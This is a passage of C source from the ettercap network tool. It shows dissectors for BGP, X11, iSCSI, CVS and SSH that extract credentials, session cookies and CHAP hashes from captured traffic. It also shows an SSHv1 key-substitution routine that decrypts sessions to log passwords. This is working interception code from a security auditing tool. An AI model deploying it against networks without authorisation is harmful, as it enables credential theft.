ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), conn_status->username, conn_status->salt, key); conn_status->status = WAIT_RESULT; } } } SAFE_FREE(ident); return NULL; } ettercap-0.8.3/src/dissectors/ec_bgp.c0000644000175000017500000001671213505247364017537 0ustar koeppeakoeppea/* ettercap -- dissector BGP 4 -- TCP 179 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * * BPG version 4 RFC 1771 * * 0 1 2 3 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * 0 | | * + + * 4 | | * + Marker + * 8 | | * + + * 12 | | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * 16 | Length | Type | Version | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * 20 | My Autonomous System | Hold Time | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * 24 | BGP Identifier | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * 28 | Opt Parm Len | | * +-+-+-+-+-+-+-+-+ Optional Parameters | * 32 | | * | | * ~ ~ * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * * 0 1 * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-... * | Parm. Type | Parm. Length | Parameter Value (variable) * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-... * * * a) Authentication Information (Parameter Type 1): * * This optional parameter may be used to authenticate a BGP * peer. The Parameter Value field contains a 1-octet * Authentication Code followed by a variable length * Authentication Data. * * 0 1 2 3 4 5 6 7 8 * +-+-+-+-+-+-+-+-+ * | Auth. Code | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * | | * | Authentication Data | * | | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * * Authentication Code: * * This 1-octet unsigned integer indicates the * authentication mechanism being used. Whenever an * authentication mechanism is specified for use within * BGP, three things must be included in the * specification: * * - the value of the Authentication Code which indicates * use of the mechanism, * - the form and meaning of the Authentication Data, and * - the algorithm for computing values of Marker fields. * * Note that a separate authentication mechanism may be * used in establishing the transport level connection. * * Authentication Data: * * The form and meaning of this field is a variable- * length field depend on the Authentication Code. * */ #include #include #include /* protos */ FUNC_DECODER(dissector_bgp); void bgp_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init bgp_init(void) { dissect_add("bgp", APP_LAYER_TCP, 179, dissector_bgp); } FUNC_DECODER(dissector_bgp) { DECLARE_DISP_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; u_char *parameters; u_char param_length; u_int32 i; u_char BGP_MARKER[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; /* don't complain about unused var */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip packets that don't have enough data */ if (PACKET->DATA.len < 30) return NULL; /* not the right version (4) */ if ( ptr[19] != 4 ) return 0; /* not an OPEN message */ if ( ptr[18] != 1 ) return 0; /* BGP marker has to be FFFFFF... */ if ( memcmp(ptr, BGP_MARKER, 16) ) return 0; /* no optional parameter */ if ( (param_length = ptr[28]) == 0 ) return 0; /* skip to parameters */ parameters = ptr + 29; if ((ptr + param_length) > end) return 0; DEBUG_MSG("BGP --> TCP dissector_bgp"); /* move through the param list */ for ( i = 0; i <= param_length; i += (parameters[i + 1] + 2) ) { /* the parameter is an authentication type (1) */ if (parameters[i] == 1) { char *str_ptr; u_int32 j; u_int32 length = parameters[i + 1]; DEBUG_MSG("\tDissector_BGP 4 AUTH"); PACKET->DISSECTOR.user = strdup("BGP4"); SAFE_CALLOC(PACKET->DISSECTOR.pass, length * 3 + 10, sizeof(char)); SAFE_CALLOC(PACKET->DISSECTOR.info, 32, sizeof(char)); /* Get authentication type */ snprintf(PACKET->DISSECTOR.info, 32, "AUTH TYPE [0x%02x]", parameters[i+2]); /* Get authentication data */ if (length > 1) { snprintf(PACKET->DISSECTOR.pass, 5, "Hex("); str_ptr = PACKET->DISSECTOR.pass + strlen(PACKET->DISSECTOR.pass); for (j = 0; j < (length-1); j++) { //u_int32 k = j+3; u_char *temp = parameters + i + j + 3; size_t temp_len = strlen((char *)temp) + 2; snprintf(str_ptr + (j * 3), temp_len, " %.2x", *temp); } strcat(str_ptr, " )"); } DISSECT_MSG("BGP : %s:%d -> %s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.info, PACKET->DISSECTOR.pass); return NULL; } } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_x11.c0000644000175000017500000001717613505247364017405 0ustar koeppeakoeppea/* ettercap -- dissector X11 -- TCP 6000, 6001, ..., 6063 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ struct x11_request { u_int8 endianness; u_int8 unused8; u_int16 major; u_int16 minor; u_int16 name_len; u_int16 data_len; u_int16 unused16; u_int8 name[18]; u_int16 null; u_int8 data[16]; }; /* protos */ FUNC_DECODER(dissector_x11); void x11_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init x11_init(void) { dissect_add("x11", APP_LAYER_TCP, 6000, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6001, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6002, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6003, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6004, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6005, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6006, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6007, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6008, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6009, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6010, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6011, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6012, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6013, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6014, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6015, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6016, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6017, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6018, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6019, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6020, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6021, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6022, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6023, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6024, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6025, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6026, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6027, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6028, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6029, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6030, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6031, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6032, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6033, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6034, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6035, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6036, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6037, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6038, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6039, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6040, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6041, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6042, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6043, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6044, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6045, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6046, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6047, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6048, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6049, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6050, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6051, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6052, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6053, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6054, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6055, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6056, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6057, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6058, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6059, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6060, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6061, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6062, dissector_x11); dissect_add("x11", APP_LAYER_TCP, 6063, dissector_x11); } FUNC_DECODER(dissector_x11) { struct ec_session *s = NULL; void *ident; char tmp[MAX_ASCII_ADDR_LEN]; struct x11_request *x11; int i; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* * check if it is the first packet sent by the server i * after the session is created (cookie already sent) */ IF_FIRST_PACKET_FROM_SERVER("x11", s, ident, dissector_x11) { DEBUG_MSG("\tdissector_x11 BANNER"); /* * get the banner * this parsing is very ugly, but is works (at least for me) * it should be better checked in the header to find the * banner length etc etc... */ PACKET->DISSECTOR.banner = strdup((const char*)PACKET->DATA.disp_data + 40); } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident) /* skip messages coming from the server */ if (FROM_SERVER("x11", PACKET)) return NULL; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("X11 --> TCP dissector_x11"); x11 = (struct x11_request *)PACKET->DATA.disp_data; /* * can somebody test it under big-endian systems * and tell me what is the right parsing ? */ if (x11->endianness != 0x6c) return NULL; /* not supported other than MIT-MAGIC-COOKIE-1 */ if (x11->name_len != 18 || x11->data_len != 16) return NULL; /* check the magic string */ if (strncmp((const char*)x11->name, "MIT-MAGIC-COOKIE-1", x11->name_len)) return NULL; DEBUG_MSG("\tDissector_x11 COOKIE"); /* fill the structure */ PACKET->DISSECTOR.user = strdup("MIT-MAGIC-COOKIE-1"); /* the cookie's length is 32, take care of the null char */ SAFE_CALLOC(PACKET->DISSECTOR.pass, 33, sizeof(char)); for (i = 0; i < 16; i++) snprintf(PACKET->DISSECTOR.pass + (i * 2), 3, "%.2x", x11->data[i] ); /* * create the session to remember to check the * banner on the next packet sent by server * the check is made by IF_FIRST_PACKET_FROM_SERVER */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_x11)); session_put(s); /* print the message */ DISSECT_MSG("X11 : %s:%d -> XAUTH: %s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_iscsi.c0000644000175000017500000001400513505247364020072 0ustar koeppeakoeppea/* ettercap -- dissector for iSCSI CHAP authentication -- TCP 860 3260 Copyright (C) Dhiru Kholia (dhiru at openwall.com) Tested with, 1. Dell EqualLogic target and Open-iSCSI initiator on CentOS 6.2 2. LIO Target and Open-iSCSI initiator, both on Arch Linux 2012 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include #include #include #include /* globals */ struct iscsi_status { u_char status; u_char id; /* CHAP_I */ u_char challenge[49]; /* CHAP_C can be 24 bytes long (48 bytes hex-encoded) */ }; #define WAIT_RESPONSE 1 /* protos */ FUNC_DECODER(dissector_iscsi); void iscsi_init(void); /************************************************/ /* borrowed from http://dsss.be/w/c:memmem */ static unsigned char *_memmem(unsigned char *haystack, int hlen, char *needle, int nlen) { int i, j = 0; if (nlen > hlen) return 0; switch (nlen) { // we have a few specialized compares for certain needle sizes case 0: // no needle? just give the haystack return haystack; case 1: // just use memchr for 1-byte needle return memchr(haystack, needle[0], hlen); case 2: // use 16-bit compares for 2-byte needles for (i = 0; i < hlen - nlen + 1; i++) { if (*(uint16_t *) (haystack + i) == *(uint16_t *) needle) { return haystack + i; } } break; case 4: // use 32-bit compares for 4-byte needles for (i = 0; i < hlen - nlen + 1; i++) { if (*(uint32_t *) (haystack + i) == *(uint32_t *) needle) { return haystack + i; } } break; default: // generic compare for any other needle size // walk i through the haystack, matching j as long as needle[j] matches haystack[i] for (i = 0; i < hlen - nlen + 1; i++) { if (haystack[i] == needle[j]) { if (j == nlen - 1) { // end of needle and it all matched? win. return haystack + i - j; } else { // keep advancing j (and i, implicitly) j++; } } else { // no match, rewind i the length of the failed match (j), and reset j i -= j; j = 0; } } } return NULL; } /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init iscsi_init(void) { dissect_add("iscsi", APP_LAYER_TCP, 860, dissector_iscsi); dissect_add("iscsi", APP_LAYER_TCP, 3260, dissector_iscsi); } FUNC_DECODER(dissector_iscsi) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; struct iscsi_status *conn_status; //suppress unused warning (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* Packets coming from the server */ if (FROM_SERVER("iscsi", PACKET)) { /* Interesting packets have len >= 4 */ if (PACKET->DATA.len < 4) return NULL; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_iscsi)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { /* search for CHAP ID and Message Challenge */ char *i = (char*)_memmem(ptr, PACKET->DATA.len, "CHAP_I", 6); char *c = (char*)_memmem(ptr, PACKET->DATA.len, "CHAP_C", 6); if (i && c) { /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_iscsi)); /* remember the state (used later) */ SAFE_CALLOC(s->data, 1, sizeof(struct iscsi_status)); conn_status = (struct iscsi_status *) s->data; conn_status->status = WAIT_RESPONSE; conn_status->id = (u_char)atoi(i + 7); /* CHAP_C is always null-terminated */ strncpy((char*)conn_status->challenge, c + 9, 48); conn_status->challenge[48] = 0; /* save the session */ session_put(s); } } } else { /* Packets coming from the client */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_iscsi)); /* Only if we catched the connection from the beginning */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { conn_status = (struct iscsi_status *) s->data; char *n = NULL; char *r = NULL; if (PACKET->DATA.len > 5) { n = (char*)_memmem(ptr, PACKET->DATA.len, "CHAP_N", 6); r = (char*)_memmem(ptr, PACKET->DATA.len, "CHAP_R", 6); } if (conn_status->status == WAIT_RESPONSE && n && r) { char user[65]; char response[33]; DEBUG_MSG("\tDissector_iscsi RESPONSE"); /* CHAP_R and CHAP_N are always null-terminated */ /* Even possibly wrong passwords can be useful, * don't look for login result */ strncpy(response, r + 9, 32); response[32] = 0; strncpy(user, n + 7, 64); user[64] = 0; DISSECT_MSG("%s-%s-%d:$chap$%d*%s*%s\n", user, ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), conn_status->id, conn_status->challenge, response); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_iscsi)); } } } SAFE_FREE(ident); return NULL; } // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_cvs.c0000644000175000017500000001102013505247364017545 0ustar koeppeakoeppea/* ettercap -- dissector CVS -- TCP 2401 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* globals */ /* stolen from CVS scramble.c */ static u_char cvs_shifts[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87, 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105, 41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35, 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56, 36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48, 58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223, 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190, 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193, 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212, 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246, 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176, 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127, 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195, 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 }; #define CVS_LOGIN "BEGIN VERIFICATION REQUEST" /* protos */ FUNC_DECODER(dissector_cvs); void cvs_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init cvs_init(void) { dissect_add("cvs", APP_LAYER_TCP, 2401, dissector_cvs); } FUNC_DECODER(dissector_cvs) { DECLARE_DISP_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; u_char *p; size_t i; /* don't complain about unused var */ (void)end; (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip messages coming from the server */ if (FROM_SERVER("cvs", PACKET)) return NULL; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; /* not a login packet */ if ( strncmp((const char*)ptr, CVS_LOGIN, strlen(CVS_LOGIN)) ) return NULL; DEBUG_MSG("CVS --> TCP dissector_cvs"); /* move over the cvsroot path */ ptr += strlen(CVS_LOGIN) + 1; if (ptr >= end) return NULL; /* go until \n */ while(*ptr != '\n' && ptr != end) ptr++; if (ptr == end) return NULL; PACKET->DISSECTOR.user = strdup((const char*)++ptr); /* cut the username on \n */ if ( (p = strchr(PACKET->DISSECTOR.user, '\n')) != NULL ) *p = '\0'; /* go until \n */ while(*ptr != '\n' && ptr != end) ptr++; if (ptr == end) return NULL; /* unsupported scramble method */ if (*(++ptr) != 'A') return NULL; PACKET->DISSECTOR.pass = strdup((const char*)ptr); /* cut the username on \n */ if ( (p = strchr(PACKET->DISSECTOR.pass, '\n')) != NULL ) *p = '\0'; /* no password */ if (strlen(PACKET->DISSECTOR.pass) == 1 && PACKET->DISSECTOR.pass[0] == 'A') { SAFE_FREE(PACKET->DISSECTOR.pass); PACKET->DISSECTOR.pass = strdup("(empty)"); } else { p = PACKET->DISSECTOR.pass; /* descramble the password */ for (i = 1; i < sizeof(cvs_shifts) - 1 && p[i]; i++) p[i] = cvs_shifts[(size_t)p[i]]; /* shift it to the left to eliminate the 'A' */ for (i = 0; p[i]; i++) p[i] = p[i + 1]; } /* final message */ DISSECT_MSG("CVS : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_ssh.c0000644000175000017500000007263113505247364017566 0ustar koeppeakoeppea/* ettercap -- dissector ssh -- TCP 22 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include /* don't include kreberos. RH sux !! */ #define OPENSSL_NO_KRB5 1 #include #include #include #include #include #if (OPENSSL_VERSION_NUMBER >= 0x10100000L) #define HAVE_OPAQUE_RSA_DSA_DH 1 /* since 1.1.0 -pre5 */ #endif #define SMSG_PUBLIC_KEY 2 #define CMSG_SESSION_KEY 3 #define CMSG_USER 4 #define CMSG_AUTH_PASSWORD 9 #define CMSG_AUTH_RHOSTS 5 #define CMSG_AUTH_RSA 6 #define SMSG_SUCCESS 14 #define SMSG_FAILURE 15 #define CMSG_STDIN_DATA 16 #define SMSG_STDOUT_DATA 17 #define SMSG_STDERR_DATA 18 #define CMSG_REQUEST_COMPRESSION 37 #define SSH_CIPHER_NONE 0 #define SSH_CIPHER_3DES 3 #define SSH_CIPHER_BLOWFISH 6 /* My RSA keys */ typedef struct { RSA *myserverkey; RSA *myhostkey; u_int32 server_mod; u_int32 host_mod; BIGNUM *server_exp; BIGNUM *host_exp; struct ssh_my_key *next; } ssh_my_key; /* Session Key data */ typedef struct { RSA *serverkey; RSA *hostkey; ssh_my_key *ptrkey; void *key_state[2]; void (*decrypt)(u_char *src, u_char *dst, int len, void *state); struct stream_buf data_buffer[2]; #define MAX_USER_LEN 64 u_char user[MAX_USER_LEN + 1]; u_char status; #define WAITING_CLIENT_BANNER 1 #define WAITING_PUBLIC_KEY 2 #define WAITING_SESSION_KEY 3 #define WAITING_ENCRYPTED_PCK 4 u_char compression_status; #define NO_COMPRESSION 0 #define COMPRESSION_REQUEST 1 #define COMPRESSION_ON 2 } ssh_session_data; struct des3_state { DES_key_schedule k1, k2, k3; DES_cblock iv1, iv2, iv3; }; struct blowfish_state { struct bf_key_st key; u_char iv[8]; }; /* globals */ /* Pointer to our RSA key list */ ssh_my_key *ssh_conn_key = NULL; /* protos */ FUNC_DECODER(dissector_ssh); void ssh_init(void); static void put_bn(BIGNUM *bn, u_char **pp); static void get_bn(BIGNUM *bn, u_char **pp); static u_char *ssh_session_id(u_char *cookie, BIGNUM *hostkey_n, BIGNUM *serverkey_n); static void rsa_public_encrypt(BIGNUM *out, BIGNUM *in, RSA *key); static void rsa_private_decrypt(BIGNUM *out, BIGNUM *in, RSA *key); static void des3_decrypt(u_char *src, u_char *dst, int len, void *state); static void *des3_init(u_char *sesskey, int len); static void swap_bytes(const u_char *src, u_char *dst, int n); static void *blowfish_init(u_char *sesskey, int len); static void blowfish_decrypt(u_char *src, u_char *dst, int len, void *state); static int32 read_packet(u_char **buffer, struct stream_buf *dbuf); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init ssh_init(void) { dissect_add("ssh", APP_LAYER_TCP, 22, dissector_ssh); } FUNC_DECODER(dissector_ssh) { struct ec_session *s = NULL; ssh_session_data *session_data; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; u_int32 ssh_len, ssh_mod; u_char ssh_packet_type, *ptr, *key_to_put; #ifdef HAVE_OPAQUE_RSA_DSA_DH BIGNUM *h_n, *s_n, *m_h_n, *m_s_n; BIGNUM *h_e, *s_e, *m_h_e, *m_s_e; BIGNUM *h_d, *s_d, *m_h_d, *m_s_d; #endif /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_ssh)); /* Is this a brand new session ? * If the aggressive dissectors are * off performs only banner catching. */ if ((!EC_GBL_CONF->aggressive_dissectors || EC_GBL_OPTIONS->unoffensive || EC_GBL_OPTIONS->read) || session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); /* Create the session on first server's cleartext packet */ if(!memcmp(PACKET->DATA.data,"SSH-", 4) && FROM_SERVER("ssh", PACKET)) { /* Only if we are interested on key substitution */ if (EC_GBL_CONF->aggressive_dissectors && !EC_GBL_OPTIONS->unoffensive && !EC_GBL_OPTIONS->read) { dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_ssh)); SAFE_CALLOC(s->data, sizeof(ssh_session_data), 1); session_put(s); session_data =(ssh_session_data *)s->data; session_data->status = WAITING_CLIENT_BANNER; } /* Catch the version banner */ PACKET->DISSECTOR.banner = strdup((const char*)PACKET->DATA.data); /* remove the \n */ if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\n')) != NULL ) *ptr = '\0'; } } else { /* The session exists */ session_data =(ssh_session_data *)s->data; SAFE_FREE(ident); /* If we are ready to decrypt packets */ if (session_data->status == WAITING_ENCRYPTED_PCK) { u_char direction, *crypted_packet = NULL, *clear_packet = NULL; u_int32 data_len; /* Check what key and stream buffer we have to use */ if(FROM_SERVER("ssh", PACKET)) direction = 0; else direction = 1; /* Add this packet to the stream */ streambuf_seq_add(&(session_data->data_buffer[direction]), PACKET); /* We are decrypting, so we'll arrange disp_data by our own */ PACKET->DATA.disp_len = 0; /* While there are packets to read from the stream */ while(read_packet(&crypted_packet, &(session_data->data_buffer[direction])) == E_SUCCESS) { ssh_len = pntol(crypted_packet); ssh_mod = 8 - (ssh_len % 8); /* SAFE_CALLOC is too drastic for errors */ if (ssh_len > INT16_MAX) { SAFE_FREE(crypted_packet); return NULL; } SAFE_CALLOC(clear_packet, ssh_len + ssh_mod, 1); /* Decrypt the packet (jumping over pck len) using correct key */ if (session_data->decrypt) session_data->decrypt(crypted_packet + 4, clear_packet, ssh_len + ssh_mod, session_data->key_state[direction]); if (session_data->compression_status == COMPRESSION_ON) { /* XXX Handle compressed packets */ } /* Catch packet type and slide to the data */ ptr = clear_packet + ssh_mod; ssh_packet_type = *ptr; ptr++; /* Catch data len and slide to the payload */ data_len = pntol(ptr); ptr += 4; /* USER */ if (ssh_packet_type == CMSG_USER) { DEBUG_MSG("\tDissector_ssh USER"); /* User will always be NULL terminated * (it's calloc'd MAX_USER_LEN + 1) */ memcpy(session_data->user, ptr, (data_len>MAX_USER_LEN) ? MAX_USER_LEN : data_len); /* AUTH_PASSWORD */ } else if (ssh_packet_type == CMSG_AUTH_PASSWORD) { DEBUG_MSG("\tDissector_ssh PASS"); /* avoid bof */ if (data_len > MAX_USER_LEN) { SAFE_FREE(clear_packet); SAFE_FREE(crypted_packet); return NULL; } if (data_len > 0) { SAFE_CALLOC(PACKET->DISSECTOR.pass, data_len + 1, 1); memcpy(PACKET->DISSECTOR.pass, ptr, data_len); } else PACKET->DISSECTOR.pass = strdup("(empty)"); PACKET->DISSECTOR.user = strdup((const char*)session_data->user); /* Surely NULL terminated */ DISSECT_MSG("SSH : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); } else if (ssh_packet_type == CMSG_AUTH_RHOSTS) { DEBUG_MSG("\tDissector_ssh RHOSTS"); PACKET->DISSECTOR.user = strdup((const char*)session_data->user); /* XXX Do we need to catch more infos from this kind of packet? */ 